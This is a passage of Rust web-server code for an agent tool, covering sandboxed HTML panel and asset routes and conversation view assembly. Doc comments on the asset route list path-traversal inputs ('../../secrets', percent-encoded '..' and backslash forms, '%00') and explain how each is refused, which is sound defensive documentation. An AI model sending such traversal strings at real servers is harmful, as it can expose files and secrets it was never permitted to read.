9046    .await
9047}
9048
9049/// Expand an id or short id to exactly one question id.
9050fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
9051    if plain_record_id(id) && store.path_of(id).is_file() {
9052        return Ok(id.to_owned());
9053    }
9054    pick(
9055        store.list().into_iter().map(|q| q.id).collect(),
9056        id,
9057        "question",
9058    )
9059}
9060
9061/// `GET /api/questions/{id}/panel`.
9062///
9063/// The panel an agent wrote for this question, as `text/html` under
9064/// [`PANEL_CSP`], for the front end to mount in a sandboxed iframe.
9065/// A question without one is a 404 rather than an empty page: the client
9066/// preflights this route with `HEAD` and must be able to tell "no panel" from
9067/// "a panel that rendered blank", and a sandboxed frame is opaque to the
9068/// parent document so it cannot tell the difference by looking.
9069///
9070/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
9071/// sanitises or minifies it - a sanitiser is a list of things someone thought
9072/// of, and the sandbox plus the CSP is a list of things that are allowed, which
9073/// is the direction that stays safe when an agent writes markup nobody
9074/// predicted.
9075async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
9076    blocking(move || {
9077        let id = resolve_question(&ui.questions, &id)?;
9078        let Some(html) = ui.questions.panel_html(&id) else {
9079            return Err(ApiError::not_found(format!("question {id} has no panel")));
9080        };
9081        Ok(panel_response(
9082            "text/html; charset=utf-8",
9083            false,
9084            html.into_bytes(),
9085        ))
9086    })
9087    .await
9088}
9089
9090/// `GET /api/questions/{id}/asset/{name}`.
9091///
9092/// One file from the question's own panel directory, so a panel can show a
9093/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
9094/// having to allow anything off this machine.
9095///
9096/// This is the only route in the server where a client names a file, so it is
9097/// the only one with a traversal surface, and the name is checked by
9098/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
9099/// what is worth being explicit about, because the answer is not "all of it in
9100/// one place":
9101///
9102/// * `asset/../../secrets` never reaches this handler at all. axum matches on
9103///   the raw request path and `{name}` spans exactly one segment, so a real
9104///   slash makes the request too long for the route and the router answers 404.
9105/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
9106///   percent-decodes path parameters, so `name` arrives as `../secrets` and
9107///   `..\secrets` respectively, which look like plain filenames to the router.
9108///   The validator refuses them here - both for the literal `..` and because
9109///   `/` and `\` are not in the permitted character set - and answers 400.
9110/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
9111///   the platform's path API is not, and it is refused here for the same
9112///   reason: NUL is not a permitted character.
9113/// * [`Questions::panel_asset`] validates again on read, so the check is not
9114///   load-bearing in only one place. This route's own check exists so the
9115///   failure is a 400 that says which name was wrong, rather than a store error
9116///   the operator has to interpret.
9117async fn question_asset(
9118    State(ui): State<Arc<Ui>>,
9119    Path((id, name)): Path<(String, String)>,
9120) -> ApiResult<Response> {
9121    // Before any filesystem work and before any path is built: a name this
9122    // server will not serve should not become a `PathBuf` at all.
9123    if !crate::ask::valid_asset_name(&name) {
9124        return Err(ApiError::bad_request(format!(
9125            "`{name}` is not a usable asset name"
9126        )));
9127    }
9128    blocking(move || {
9129        let id = resolve_question(&ui.questions, &id)?;
9130        let asset = ui
9131            .questions
9132            .panel_asset(&id, &name)
9133            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
9134        let Some(bytes) = asset else {
9135            return Err(ApiError::not_found(format!(
9136                "question {id} has no asset `{name}`"
9137            )));
9138        };
9139        Ok(panel_response(
9140            asset_content_type(&name),
9141            is_svg(&name),
9142            bytes,
9143        ))
9144    })
9145    .await
9146}
9147
9148/// Content type for a panel asset, from a closed whitelist.
9149///
9150/// A whitelist with an `application/octet-stream` fallback rather than a
9151/// guess, because the one answer that must never come out of here is
9152/// `text/html`. An agent that writes `notes.html` into its panel directory and
9153/// links it would otherwise get its own markup rendered at the top level of the
9154/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
9155/// magi's origin - which is precisely the thing the panel design exists to
9156/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
9157///
9158/// `nosniff` accompanies this on every response, so a browser cannot decide it
9159/// knows better than the type we sent.
9160fn asset_content_type(name: &str) -> &'static str {
9161    match extension(name).as_deref() {
9162        Some("png") => "image/png",
9163        Some("jpg" | "jpeg") => "image/jpeg",
9164        Some("gif") => "image/gif",
9165        Some("webp") => "image/webp",
9166        Some("svg") => "image/svg+xml",
9167        Some("css") => "text/css; charset=utf-8",
9168        Some("txt") => "text/plain; charset=utf-8",
9169        _ => "application/octet-stream",
9170    }
9171}
9172
9173/// Is this an SVG, and therefore a file that must never be opened at the top
9174/// level?
9175fn is_svg(name: &str) -> bool {
9176    extension(name).as_deref() == Some("svg")
9177}
9178
9179/// Lowercased extension, or `None` for a name without one.
9180fn extension(name: &str) -> Option<String> {
9181    name.rsplit_once('.')
9182        .map(|(_, ext)| ext.to_ascii_lowercase())
9183}
9184
9185/// Every panel response, with the four headers that make it safe and, for an
9186/// SVG, a fifth.
9187///
9188/// One function rather than a header list per handler, because a panel route
9189/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
9190/// model gone, silently, on one of two routes. Adding a third panel route later
9191/// means calling this, and there is nowhere else to build a panel response.
9192///
9193/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
9194/// as an `<img src>` inside the panel that script cannot run - but the asset
9195/// URL is also a plain URL an operator can be talked into opening in a tab,
9196/// where it is a document on magi's own origin. `Content-Disposition:
9197/// attachment` makes the browser download it instead of rendering it, which
9198/// closes that door without taking away the ability to draw a diff. Raster
9199/// images have no such execution surface and are left inline, so tapping a
9200/// screenshot still shows it.
9201fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
9202    let mut res = (
9203        [
9204            (header::CONTENT_TYPE, content_type),
9205            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
9206            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
9207            (header::REFERRER_POLICY, "no-referrer"),
9208        ],
9209        body,
9210    )
9211        .into_response();
9212    if download {
9213        res.headers_mut().insert(
9214            header::CONTENT_DISPOSITION,
9215            HeaderValue::from_static("attachment"),
9216        );
9217    }
9218    res
9219}
9220
9221/// A talk as the phone reads it.
9222///
9223/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
9224/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
9225/// parses markdown itself - and the process-local `thinking` hint.
9226#[derive(Debug, Serialize)]
9227struct ChatApproval {
9228    question: String,
9229    target: crate::merge_decision::Target,
9230}
9231
9232#[derive(Debug, Serialize)]
9233struct TalkView {
9234    #[serde(flatten)]
9235    talk: Talk,
9236    turn_bodies_md: Vec<Vec<md::Node>>,
9237    /// Display-only Markdown, indexed by turn then message (legacy turns have one).
9238    turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
9239    pending_messages_md: Vec<Option<Vec<md::Node>>>,
9240    merge_approvals: Vec<ChatApproval>,
9241    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
9242    /// this server process.
9243    ///
9244    /// This is deliberately not durable: another server process cannot see
9245    /// it, and a restarted server must not claim an old turn is live. It is a
9246    /// progress hint rather than proof a reply landed; the transcript remains
9247    /// the source of truth for that.
9248    thinking: bool,
9249    /// Context-window usage, derived per request - see
9250    /// [`talk::context_usage`]. Carried on every talk response (list, detail
9251    /// and each mutation) so the phone needs no extra call or polling.
9252    context: talk::ContextUsage,
9253    /// `[talk] operator_name`, when configured; the Chat labels the
9254    /// operator's turns with it.
9255    operator_name: Option<String>,
9256    /// The active persona's display name; `None` for the default voice.
9257    persona_name: Option<String>,
9258    /// URL of the avatar for the conversation's persona (the default voice
9259    /// included). Server-built; a configured `icon` never reaches the client.
9260    persona_avatar: String,
9261    /// Operator avatar; display only and independent of repository config.
9262    operator_avatar: String,
9263    magi_avatar: String,
9264}
9265
9266impl TalkView {
9267    /// Reads the talk's repository config itself; a config that cannot be
9268    /// read leaves the window unknown but never fails the conversation.
9269    fn new(talk: Talk, thinking: bool, ui: &Ui) -> Self {
9270        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
9271        Self::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references)
9272    }
9273
9274    /// As [`Self::new`], with the config already in hand (the list reads one
9275    /// per repository, not one per conversation).
9276    fn with_config(
9277        talk: Talk,
9278        thinking: bool,
9279        cfg: Option<&Config>,
9280        home: &FsPath,
9281        cache: &id_links::IndexCache,
9282    ) -> Self {
9283        let references = cache.for_talk(home, &talk);
9284        Self::with_references(talk, thinking, cfg, home, &references)
9285    }
9286
9287    fn with_references(
9288        mut talk: Talk,
9289        thinking: bool,
9290        cfg: Option<&Config>,
9291        home: &FsPath,
9292        references: &id_links::IdIndex,
9293    ) -> Self {
9294        // This owned value is the display DTO; never write it back to the talk store.
9295        let snapshot = talk.clone();
9296        for (index, turn) in talk.turns.iter_mut().enumerate() {
9297            let original = &snapshot.turns[index];
9298            if turn.messages.is_empty() {
9299                if let Some(display) = talk::notice_display(&snapshot, original, None) {
9300                    turn.messages.push(talk::Message {
9301                        sender: Some(talk::Sender::Magi),
9302                        accepted_at: None,
9303                        body: original.body.clone(),
9304                        display: Some(display),
9305                        recovery_event: None,
9306                        attachments: original.attachments.clone(),
9307                        reply: None,
9308                    });
9309                }
9310            } else {
9311                for (i, message) in turn.messages.iter_mut().enumerate() {
9312                    message.display =
9313                        talk::notice_display(&snapshot, original, original.messages.get(i));
9314                    if message.display.is_some() {
9315                        message.sender = Some(talk::Sender::Magi);
9316                    }
9317                }
9318            }
9319        }
9320        for message in &mut talk.pending_messages {
9321            if message.display.is_none()
9322                && (message.sender == Some(talk::Sender::Magi)
9323                    || snapshot
9324                        .completion_notices
9325                        .iter()
9326                        .any(|r| r.notice == message.body))
9327            {
9328                message.display = crate::prompt::legacy_notice_display(&message.body);
9329                if message.display.is_some() {
9330                    message.sender = Some(talk::Sender::Magi);
9331                }
9332            }
9333        }
9334        if talk.pending_messages.is_empty()
9335            && snapshot
9336                .completion_notices
9337                .iter()
9338                .any(|r| r.notice == talk.pending)
9339            && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
9340        {
9341            talk.pending_messages.push(talk::Message {
9342                sender: Some(talk::Sender::Magi),
9343                accepted_at: None,
9344                display: Some(display),
9345                recovery_event: None,
9346                body: talk.pending.clone(),
9347                attachments: talk.pending_attachments.clone(),
9348                reply: None,
9349            });
9350        }
9351        let excerpts: Vec<Vec<Option<String>>> = talk
9352            .turns
9353            .iter()
9354            .map(|turn| {
9355                turn.messages
9356                    .iter()
9357                    .map(|m| {
9358                        m.display
9359                            .as_ref()
9360                            .map(|d| d.facts.chars().take(240).collect())
9361                    })
9362                    .collect()
9363            })
9364            .collect();
9365        for turn in &mut talk.turns {
9366            let provenance = talk::sender(turn, None);
9367            turn.sender = Some(provenance);
9368            for message in &mut turn.messages {
9369                message.sender = Some(message.sender.unwrap_or(provenance));
9370            }
9371        }
9372        // Old reply snapshots have only a role; recover provenance from their target.
9373        let senders: Vec<Vec<talk::Sender>> = talk
9374            .turns
9375            .iter()
9376            .map(|turn| {
9377                if turn.messages.is_empty() {
9378                    vec![talk::sender(turn, None)]
9379                } else {
9380                    turn.messages
9381                        .iter()
9382                        .map(|m| talk::sender(turn, Some(m)))
9383                        .collect()
9384                }
9385            })
9386            .collect();
9387        for reply in talk
9388            .turns
9389            .iter_mut()
9390            .flat_map(|t| t.messages.iter_mut())
9391            .chain(talk.pending_messages.iter_mut())
9392            .filter_map(|m| m.reply.as_mut())
9393        {
9394            if let Some(Some(excerpt)) = excerpts
9395                .get(reply.target.turn)
9396                .and_then(|ms| ms.get(reply.target.message))
9397            {
9398                reply.excerpt = excerpt.clone();
9399                reply.sender = Some(talk::Sender::Magi);
9400            }
9401            if reply.sender.is_none() {
9402                reply.sender = senders
9403                    .get(reply.target.turn)
9404                    .and_then(|messages| messages.get(reply.target.message))
9405                    .copied();
9406            }
9407        }
9408        let context = talk::context_usage(&talk, cfg);
9409        let mut turn_bodies_md: Vec<Vec<md::Node>> = talk
9410            .turns
9411            .iter()
9412            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
9413            .collect();
9414        let mut turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>> = talk
9415            .turns
9416            .iter()
9417            .map(|turn| {
9418                if turn.messages.is_empty() {
9419                    vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
9420                } else {
9421                    turn.messages
9422                        .iter()
9423                        .map(|message| {
9424                            notice_markdown(
9425                                message.sender.unwrap_or(talk::Sender::Operator),
9426                                &message.body,
9427                                message.display.as_ref(),
9428                            )
9429                        })
9430                        .collect()
9431                }
9432            })
9433            .collect();
9434        let mut pending_messages_md: Vec<Option<Vec<md::Node>>> = talk
9435            .pending_messages
9436            .iter()
9437            .map(|message| {
9438                notice_markdown(
9439                    message.sender.unwrap_or(talk::Sender::Operator),
9440                    &message.body,
9441                    message.display.as_ref(),
9442                )
9443            })
9444            .collect();
9445        for nodes in &mut turn_bodies_md {
9446            references.markdown(nodes);
9447        }
9448        for nodes in turn_messages_md
9449            .iter_mut()
9450            .flatten()
9451            .chain(pending_messages_md.iter_mut())
9452            .flatten()
9453        {
9454            references.markdown(nodes);
9455        }
9456        let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
9457        let persona_name = persona::find(specs, &talk.persona)
9458            .filter(|p| !p.is_default())
9459            .map(|p| p.name);
9460        let mut avatar_persona = persona::find(specs, &talk.persona)
9461            .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
9462        // A removed configured persona may still have an override and old talks.
9463        if avatar_persona.id != talk.persona
9464            && read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
9465        {
9466            avatar_persona.id.clone_from(&talk.persona);
9467            avatar_persona.icon = None;
9468        }
9469        let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
9470        let approvals_store = ask::Questions::at(home.join("questions"));
9471        let merge_approvals = talk
9472            .notified
9473            .iter()
9474            .filter_map(|key| key.strip_prefix("question:"))
9475            .filter_map(|id| approvals_store.get(id).ok())
9476            .filter(|q| !crate::task_chat::source_retired(home, &q.id))
9477            .filter(|q| crate::task_chat::approval_offered(&talk, q))
9478            .filter_map(|q| {
9479                Some(ChatApproval {
9480                    question: q.id,
9481                    target: q.merge_target?,
9482                })
9483            })
9484            .collect();
9485        let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
9486        Self {
9487            turn_bodies_md,
9488            turn_messages_md,
9489            pending_messages_md,
9490            merge_approvals,
9491            thinking,
9492            context,
9493            operator_name,
9494            persona_name,
9495            persona_avatar,
9496            magi_avatar: magi_icon_url(home),
9497            operator_avatar: operator_icon_url(home),
9498            talk,
9499        }
9500    }
9501}
9502
9503/// Parse only the user-facing representation of an explicitly identified MAGI send.
9504fn notice_markdown(
9505    sender: talk::Sender,
9506    body: &str,
9507    display: Option<&crate::prompt::NoticeDisplay>,
9508) -> Option<Vec<md::Node>> {
9509    if sender != talk::Sender::Magi {
9510        return None;
9511    }
9512    let text = if let Some(display) = display {
9513        display.facts.as_str()
9514    } else {
9515        // Unknown completion templates may contain internal directives. Never
9516        // promote their agent input to the Markdown display surface.
9517        if crate::prompt::is_completion_notice(body)
9518            || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
9519        {
9520            return None;
9521        }
9522        body.strip_prefix("magi: ").unwrap_or(body)
9523    };
9524    Some(md::to_nodes(text, &md::ImageBase::None))
9525}
9526
9527/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
9528/// conversation has filed, so the phone can follow one from inside the
9529/// conversation that asked for it rather than hunting the Queue for a task id
9530/// it may not remember.
9531#[derive(Debug, Serialize)]
9532struct TalkDetailView {
9533    #[serde(flatten)]
9534    view: TalkView,
9535    tasks: Vec<TaskView>,
9536    task_progress: TalkTaskProgress,
9537    goal_link: Option<TalkGoalLink>,
9538    goal_link_for: Timestamp,
9539    /// The agents this talk's repository can switch to; empty when its
9540    /// configuration cannot be read, which must not fail the whole detail.
9541    roster: Vec<RosterEntry>,
9542    /// The personas the conversation can pick from. The built-ins are always
9543    /// listed, even when the repository's configuration cannot be read.
9544    personas: Vec<PersonaEntry>,
9545}
9546
9547/// Progress covers only the tasks returned alongside it, not unresolved chat topics.
9548#[derive(Debug, Serialize)]
9549struct TalkTaskProgress {
9550    state: &'static str,
9551    total: usize,
9552    done: usize,
9553    counts: std::collections::BTreeMap<&'static str, usize>,
9554    unfinished_ids: Vec<String>,
9555}
9556
9557fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
9558    let mut counts = std::collections::BTreeMap::from([
9559        ("queued", 0),
9560        ("running", 0),
9561        ("done", 0),
9562        ("failed", 0),
9563        ("held", 0),
9564        ("blocked", 0),
9565        ("parked", 0),
9566    ]);
9567    let mut unfinished_ids = Vec::new();
9568    for task in tasks {
9569        *counts.entry(task.status.as_str()).or_default() += 1;
9570        if task.status != TaskStatus::Done {
9571            unfinished_ids.push(task.id.clone());
9572        }
9573    }
9574    TalkTaskProgress {
9575        state: if tasks.is_empty() {
9576            "none"
9577        } else if unfinished_ids.is_empty() {
9578            "complete"
9579        } else {
9580            "incomplete"
9581        },
9582        total: tasks.len(),
9583        done: tasks.len() - unfinished_ids.len(),
9584        counts,
9585        unfinished_ids,
9586    }
9587}
9588
9589/// Prefer a referenced task's current Run or Task, then an explicitly
9590/// referenced same-repository Run. Missing/deleted records leave the goal readable.
9591#[derive(Debug, Serialize)]
9592struct TalkGoalLink {
9593    goal: String,
9594    kind: &'static str,
9595    id: String,
9596}
9597
9598fn talk_goal_link(talk: &Talk, queue: &Queue, runs: &FsPath) -> Option<TalkGoalLink> {
9599    let goal = crate::chat_goal::Goal::selected(talk)?;
9600    let repo = goal.effective_repo(&talk.repo);
9601    let valid_run = |id: &str| {
9602        plain_record_id(id)
9603            && read_run(runs, id).is_ok_and(|state| {
9604                state.id == id
9605                    && crate::chat_goal::require_repo("run", id, &state.repo, repo).is_ok()
9606            })
9607    };
9608    for id in goal.tasks.iter().rev() {
9609        let Ok(task) = crate::chat_goal::task_record(queue, id, repo) else {
9610            continue;
9611        };
9612        // Repository reassignments retain historical runs. Only this task's
9613        // current execution can be presented as the goal's current Run.
9614        if let Some(run) = task.execution_runs().last()
9615            && valid_run(run)
9616        {
9617            return Some(TalkGoalLink {
9618                goal: goal.id.clone(),
9619                kind: "run",
9620                id: run.clone(),
9621            });
9622        }
9623        return Some(TalkGoalLink {
9624            goal: goal.id.clone(),
9625            kind: "task",
9626            id: task.id,
9627        });
9628    }
9629    for id in goal.runs.iter().rev() {
9630        if valid_run(id) {
9631            return Some(TalkGoalLink {
9632                goal: goal.id.clone(),
9633                kind: "run",
9634                id: id.clone(),
9635            });
9636        }
9637    }
9638    None
9639}
9640
9641/// One persona as the talk's persona selector shows it.
9642#[derive(Debug, Serialize)]
9643struct PersonaEntry {
9644    id: String,
9645    name: String,
9646    /// Avatar URL, see [`TalkView::persona_avatar`].
9647    avatar: String,
9648}
9649
9650/// One roster agent as the talk's agent selector shows it.
9651#[derive(Debug, Serialize)]
9652struct RosterEntry {
9653    id: String,
9654    kind: AgentKind,
9655    /// Whether its CLI is on `PATH`, i.e. whether choosing it can work.
9656    runnable: bool,
9657}
9658
9659/// Bounded summaries; `/page` carries a cursor for older membership.
9660async fn talks_list(
9661    State(ui): State<Arc<Ui>>,
9662    Query(q): Query<ListQuery>,
9663    headers: header::HeaderMap,
9664) -> ApiResult<Json<Vec<TalkListView>>> {
9665    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
9666        let limit = q.limit.unwrap_or(50).min(50);
9667        let ids = if let Some(ids) = q.ids {
9668            ids.split(',')
9669                .filter(|id| plain_record_id(id))
9670                .take(limit)
9671                .map(str::to_owned)
9672                .collect()
9673        } else {
9674            page_ids(&ui, true, PageQuery::default())?
9675                .0
9676                .into_iter()
9677                .take(limit.min(STORE_PAGE_SIZE))
9678                .collect()
9679        };
9680        Ok(Json(talk_rows(&ui, ids, &headers)))
9681    })
9682    .await
9683}
9684
9685/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
9686/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
9687/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
9688/// end still opens a talk against an older binary.
9689#[derive(Debug, Default, Deserialize)]
9690#[serde(default)]
9691struct NewTalk {
9692    agent: Option<String>,
9693    repo: Option<PathBuf>,
9694    /// Remembered choices from the browser. Soft: kept as raw JSON so a
9695    /// wrong type is dropped like a stale value instead of failing the request;
9696    /// each falls back to its default on its own (see [`talk::begin_with`]).
9697    preferred_agent: Option<serde_json::Value>,
9698    persona: Option<serde_json::Value>,
9699    implementers: Option<serde_json::Value>,
9700}
9701
9702/// `POST /api/talks` - open a conversation. Takes no agent turn: see
9703/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
9704async fn talk_post(
9705    State(ui): State<Arc<Ui>>,
9706    body: std::result::Result<Json<NewTalk>, JsonRejection>,
9707) -> ApiResult<impl IntoResponse> {
9708    // An absent body, or an empty one, is the normal way to open a talk - see
9709    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
9710    // rather than refused.
9711    let body = match body {
9712        Ok(Json(body)) => body,
9713        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
9714        Err(e) => return Err(ApiError::bad_request(e.body_text())),
9715    };
9716    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
9717    let cfg = config_for(&repo).await?;
9718    let view = blocking(move || {
9719        let preferred = talk::Preferred {
9720            agent: body
9721                .preferred_agent
9722                .as_ref()
9723                .and_then(|v| v.as_str())
9724                .map(str::to_owned),
9725            persona: body
9726                .persona
9727                .as_ref()
9728                .and_then(|v| v.as_str())
9729                .map(str::to_owned),
9730            implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
9731        };
9732        let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
9733        let thinking = ui.is_thinking(&talk.id);
9734        Ok(TalkView::new(talk, thinking, &ui))
9735    })
9736    .await?;
9737    Ok((StatusCode::CREATED, Json(view)))
9738}
9739
9740/// Transcript first: unrelated queue history and repository probes are deferred.
9741async fn talk_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TalkView>> {
9742    // Keep transcript reads independent of sections and the runtime blocking pool.
9743    bulk_blocking(ui.monitor.talk_core_slots.clone(), move || {
9744        let id = resolve_talk(&ui.talks, &id)?;
9745        let talk = ui.talks.get(&id)?;
9746        let thinking = ui.is_thinking_observed(&id);
9747        // The browser already resolves Markdown text/code references after
9748        // rendering. A cold reference/review index must not gate the transcript.
9749        Ok(Json(TalkView::with_references(
9750            talk,
9751            thinking,
9752            None,
9753            &ui.home,
9754            &id_links::IdIndex::default(),
9755        )))
9756    })
9757    .await
9758}
9759
9760async fn talk_sections(
9761    State(ui): State<Arc<Ui>>,
9762    Path(id): Path<String>,
9763) -> ApiResult<Json<serde_json::Value>> {
9764    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
9765        let id = resolve_talk(&ui.talks, &id)?;
9766        let talk = ui.talks.get(&id)?;
9767        let tasks = ui.find_tasks_for_talk(&talk.id)?;
9768        let task_progress = talk_task_progress(&tasks);
9769        let goal_link = talk_goal_link(&talk, &ui.queue, &ui.runs);
9770        let tasks: Vec<_> = tasks
9771            .into_iter()
9772            .map(|task| {
9773                serde_json::json!({
9774                    "id": task.id, "title": task.title, "status_str": task.status.as_str(),
9775                })
9776            })
9777            .collect();
9778        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
9779        let roster: Vec<_> = cfg
9780            .as_ref()
9781            .map(|cfg| {
9782                cfg.agents
9783                    .iter()
9784                    .map(|a| RosterEntry {
9785                        id: a.id.clone(),
9786                        kind: a.kind,
9787                        runnable: agent::installed(a),
9788                    })
9789                    .collect()
9790            })
9791            .unwrap_or_default();
9792        let specs = cfg
9793            .as_ref()
9794            .map(|cfg| cfg.talk.personas.clone())
9795            .unwrap_or_default();
9796        let personas: Vec<_> = persona::catalog(&specs)
9797            .into_iter()
9798            .map(|p| PersonaEntry {
9799                avatar: avatar_url(&ui.home, &talk.id, &p),
9800                id: p.id,
9801                name: p.name,
9802            })
9803            .collect();
9804        let active_persona = persona::find(&specs, &talk.persona)
9805            .unwrap_or_else(|| persona::find(&specs, persona::DEFAULT_ID).expect("default"));
9806        let persona_name = (!active_persona.is_default()).then(|| active_persona.name.clone());
9807        let persona_avatar = avatar_url(&ui.home, &talk.id, &active_persona);
9808        Ok(Json(serde_json::json!({
9809            "tasks": tasks, "task_progress": task_progress,
9810            "goal_link": goal_link, "goal_link_for": talk.updated_at,
9811            "roster": roster, "personas": personas,
9812            "context": talk::context_usage(&talk, cfg.as_ref()),
9813            "context_for": talk.updated_at,
9814            "operator_name": cfg.as_ref().and_then(|cfg| cfg.talk.operator_name()),
9815            "persona_name": persona_name,
9816            "persona_avatar": persona_avatar,
9817        })))
9818    })
9819    .await
9820}
9821
9822/// `GET /api/talks/{id}`.
9823async fn talk_detail(
9824    State(ui): State<Arc<Ui>>,
9825    Path(id): Path<String>,
9826) -> ApiResult<Json<TalkDetailView>> {
9827    blocking(move || {
9828        let id = resolve_talk(&ui.talks, &id)?;
9829        let talk = ui.talks.get(&id)?;
9830        let thinking = ui.is_thinking_observed(&talk.id);
9831        let tasks = ui.find_tasks_for_talk(&talk.id)?;
9832        let task_progress = talk_task_progress(&tasks);
9833        let goal_link = talk_goal_link(&talk, &ui.queue, &ui.runs);
9834        let goal_link_for = talk.updated_at;
9835        let tasks = tasks.into_iter().map(TaskView::from).collect();
9836        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
9837        let roster = cfg
9838            .as_ref()
9839            .map(|cfg| {
9840                cfg.agents
9841                    .iter()
9842                    .map(|a| RosterEntry {
9843                        id: a.id.clone(),
9844                        kind: a.kind,
9845                        runnable: agent::installed(a),
9846                    })
9847                    .collect()
9848            })
9849            .unwrap_or_default();
9850        let specs = cfg
9851            .as_ref()
9852            .map(|cfg| cfg.talk.personas.clone())
9853            .unwrap_or_default();
9854        let personas = persona::catalog(&specs)
9855            .into_iter()
9856            .map(|p| PersonaEntry {
9857                avatar: avatar_url(&ui.home, &talk.id, &p),
9858                id: p.id,
9859                name: p.name,
9860            })
9861            .collect();
9862        Ok(Json(TalkDetailView {
9863            view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references),
9864            tasks,
9865            task_progress,
9866            goal_link,
9867            goal_link_for,
9868            roster,
9869            personas,
9870        }))
9871    })
9872    .await
9873}
9874
9875/// The body of `POST /api/talks/{id}/say`.
9876///
9877/// `attachments` names ids `POST /api/talks/{id}/attachments` already
9878/// returned - never bytes of its own - so a turn with no images just omits
9879/// the field, which is what an older front end still does.
9880#[derive(Debug, Default, Deserialize)]
9881#[serde(default, deny_unknown_fields)]
9882struct NewTalkTurn {
9883    reply_to: Option<talk::ReplyTarget>,
9884    text: String,
9885    attachments: Vec<String>,
9886}
9887
9888#[derive(Debug, Deserialize)]
9889#[serde(deny_unknown_fields)]
9890struct EditTalkPending {
9891    #[serde(default)]
9892    message: Option<usize>,
9893    text: String,
9894    expected_text: String,
9895    expected_attachments: Vec<String>,
9896}
9897
9898#[derive(Debug, Deserialize)]
9899#[serde(deny_unknown_fields)]
9900struct ClearTalkPending {
9901    expected_text: String,
9902    expected_attachments: Vec<String>,
9903}
9904
9905/// `POST /api/talks/{id}/say` - one turn of the conversation.
9906///
9907/// Not filesystem work, and therefore not routed through [`blocking`]: this
9908/// route spawns an agent CLI and a turn here can run for the whole of
9909/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
9910/// research turn is expected to run commands rather than answer from what it
9911/// already knows. Holding an HTTP connection open that long is not a thing
9912/// to ask a phone to do; the operator's message is recorded and answered for
9913/// immediately, and the reply lands in the background, discovered through
9914/// the change stream's `talks_rev` the same way every other update on this
9915/// surface is.
9916async fn talk_say(
9917    State(ui): State<Arc<Ui>>,
9918    Path(id): Path<String>,
9919    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
9920) -> ApiResult<(StatusCode, Json<TalkView>)> {
9921    let admission = ui.begin_admission()?;
9922    admitted(admission, async move {
9923    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9924    if body.text.trim().is_empty() && body.attachments.is_empty() {
9925        return Err(ApiError::bad_request("say something"));
9926    }
9927
9928    let id = {
9929        let ui = Arc::clone(&ui);
9930        let asked = id.clone();
9931        blocking(move || resolve_talk(&ui.talks, &asked)).await?
9932    };
9933    // A closed Talk never accepts a new immediate or queued turn. Check this
9934    // before claiming a slot so its ordinary domain refusal is a 409, not an
9935    // incidental failure from the later record/queue write.
9936    {
9937        let ui = Arc::clone(&ui);
9938        let id = id.clone();
9939        blocking(move || {
9940            let talk = ui.talks.get(&id)?;
9941            if !talk.status.open() {
9942                return Err(ApiError::conflict(format!(
9943                    "talk {} is {} and takes no more turns",
9944                    talk.short(),
9945                    talk.status.as_str()
9946                )));
9947            }
9948            Ok(())
9949        })
9950        .await?;
9951    }
9952
9953    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
9954    // actually stores, before anything is written - an unknown id is a 4xx
9955    // that names it rather than a turn (or a queued draft) silently missing
9956    // an image.
9957    let attachments = {
9958        let ui = Arc::clone(&ui);
9959        let id = id.clone();
9960        let ids = body.attachments.clone();
9961        blocking(move || {
9962            ids.into_iter()
9963                .map(|att_id| {
9964                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
